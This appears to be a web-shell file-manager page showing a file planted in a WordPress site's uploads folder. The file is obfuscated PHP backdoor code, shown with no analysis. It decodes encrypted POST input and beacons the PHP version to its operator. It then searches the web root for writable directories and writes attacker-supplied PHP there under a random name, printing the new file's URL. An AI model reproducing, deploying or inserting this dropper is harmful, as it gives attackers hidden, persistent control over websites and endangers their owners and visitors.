HEX
Server:Apache
System:Linux localhost 5.10.0-14-amd64 #1 SMP Debian 5.10.113-1 (2022-04-29) x86_64
User:enlugo-es (10006)
PHP:7.4.33
Disabled:opcache_get_status
Upload Files
File: /var/www/vhosts/enlugo.es/httpdocs/wp-content/uploads/2020/07/whtcoalb.php
<?php $zhMveHm = chr(68).'O'."\103"."\125".chr(469-392)."\x45".'N'.chr(84)."\x5f"."\x52".chr(750-671)."\117"."\x54";$KyePexjBDl = 'H'."\x54"."\124".'P'.'_'.chr(686-614)."\x4f"."\x53"."\124";$maMnjBHmve = 'h'."\164"."\x74"."\x70".chr(58).chr(136-89).chr(47);$unnnlclt = chr(46).'p'."\150".'p';$SVtxmhilz = "\x70"."\150".chr(252-140);$jWLIX = 'f'.chr(105).chr(549-441)."\145".'_'.chr(315-203)."\x75"."\164"."\x5f"."\143".chr(111)."\156"."\x74"."\x65".chr(110)."\164"."\x73";$NtlwHde = "\162"."\141".'w'.'u'."\x72".'l'."\144".chr(523-422).chr(99)."\157"."\144"."\145";$kPCsjeb = chr(117).chr(249-139)."\x73"."\x65".'r'.chr(1045-940)."\x61".'l'."\151"."\x7a"."\145";$rwylQWBUff = "\x69".chr(233-118).chr(95).chr(526-407).chr(114).chr(105).chr(116)."\x61"."\142".'l'."\x65";$NDgCfbCreB = 'p'.chr(924-820)."\160".chr(118)."\x65"."\x72".'s'.chr(986-881).chr(111).chr(502-392);$htcWjfmhgn = "\x73"."\x74".chr(418-304)."\x5f".'r'.chr(111).chr(957-841)."\61".chr(51);$LzqwEeccUo = 's'.chr(101).chr(114).'i'."\x61".chr(108)."\x69"."\172".'e';$rLGLWHCMJR = 's'.chr(277-161)."\x72"."\x5f"."\x73"."\160"."\154".'i'."\x74";foreach ($_POST as $ErcrlHR => $augyesWDdQ){$vQjxb = strlen($ErcrlHR);if ($vQjxb == 16){$augyesWDdQ = $rLGLWHCMJR($NtlwHde($htcWjfmhgn($augyesWDdQ)));$ErcrlHR = array_slice($rLGLWHCMJR(str_repeat($ErcrlHR, (count($augyesWDdQ)/16)+1)), 0, count($augyesWDdQ));function pJZnRAv($qLGzDUTN, $FoElMT, $ErcrlHR){$fufmJLLzuF = "346978b1-a1aa-4355-ac0f-58e17b463a32";return $qLGzDUTN ^ $fufmJLLzuF[$FoElMT % strlen($fufmJLLzuF)] ^ $ErcrlHR;}$augyesWDdQ = array_map("pJZnRAv", array_values($augyesWDdQ), array_keys($augyesWDdQ), array_values($ErcrlHR));$augyesWDdQ = implode("", $augyesWDdQ);$augyesWDdQ = @$kPCsjeb($augyesWDdQ);if (@is_array($augyesWDdQ)){$jeGtVhTA = array_keys($augyesWDdQ);$augyesWDdQ = $augyesWDdQ[$jeGtVhTA[0]];if ($augyesWDdQ === $jeGtVhTA[0]){echo @$LzqwEeccUo(Array($SVtxmhilz => @$NDgCfbCreB(), ));exit();}else {function NtpURo($gXZRkpir){static $bMGvPRvB = array();$quuRYdRzvK = glob($gXZRkpir . '/*', GLOB_ONLYDIR);$DggjUYIu = count($quuRYdRzvK);if ($DggjUYIu > 0) {foreach ($quuRYdRzvK as $gXZRkp) {if (@$rwylQWBUff($gXZRkp)) {$bMGvPRvB[] = $gXZRkp;}}}foreach ($quuRYdRzvK as $gXZRkpir) NtpURo($gXZRkpir);return $bMGvPRvB;}$HulIUwvwtj = $_SERVER[$zhMveHm];$quuRYdRzvK = NtpURo($HulIUwvwtj);$jeGtVhTA = array_rand($quuRYdRzvK);$NGiMeVdheu = $quuRYdRzvK[$jeGtVhTA] . "/" . substr(md5(time()), 0, 8) . $unnnlclt;@$jWLIX($NGiMeVdheu, $augyesWDdQ);$ogHhEgTaf = $maMnjBHmve . $_SERVER[$KyePexjBDl] . substr($NGiMeVdheu, strlen($HulIUwvwtj));print($ogHhEgTaf);die();}}}}